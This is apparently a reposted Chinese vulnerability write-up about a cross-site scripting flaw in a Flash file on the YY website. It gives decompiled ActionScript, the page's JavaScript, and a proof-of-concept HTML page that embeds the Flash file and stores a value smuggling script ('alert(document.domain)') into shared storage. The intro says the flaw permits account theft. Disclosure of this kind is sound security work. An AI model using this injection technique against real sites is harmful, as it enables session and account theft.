来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] YY网站的xss跨站漏洞一枚,可偷摸的盗号,话不多说,详细内容请往下看。接着看:这个漏洞是由一个flash文件引起的,文件地址:http: m yy com live swf Shareobject swf?v=1 1flash文件:http: m yy c...
YY网站的xss跨站漏洞一枚,可偷摸的盗号,话不多说,详细内容请往下看。 flash文件:http://m.yy.com/live/swf/Shareobject.swf?v=1.1 private function fl_get(param1:uint = 9999) : Object { var _loc_2:* = SharedObject.getLocal("yy-sharedobject", "/"); if (!_loc_2.data.shareObj) { _loc_2.data.shareObj = {}; } if (!_loc_2.data.shareObj[param1]) { return null; } return _loc_2.data.shareObj[param1]; }// end function
function saveViewHisoryToCache() { var b = "ent_view_history"; var a = getShareobjData(b); if (!a || a.length == 0) { a = [window.liveRoomTopId] } else { var c = $.inArray(window.liveRoomTopId, a); if (c >= 0) { a.splice(c, 1) } a.push(window.liveRoomTopId); if (a.length > 18) { a.shift() } } saveShareobjData(b, a) }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script type="text/javascript" src="swfobject.js"></script> </head> <body> <div id="main"></div> <script type="text/javascript"> //flash var params = {}; params.menu = "false"; params.scale = "noScale"; params.allowFullscreen = "false"; params.allowScriptAccess = "always"; params.bgcolor = "#ffffff"; params.wmode = "window"; swfobject.embedSWF("http://m.yy.com/live/swf/Shareobject.swf?v=1.1", "main", "600", "600", "10.0.0", "expressInstall.swf", null, params, null); function sharedObjectReady(){ main.j2s_save('1\\";alert(document.domain);//1',"ent_view_history") } </script> </body> </html>
下面闲聊几句:
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com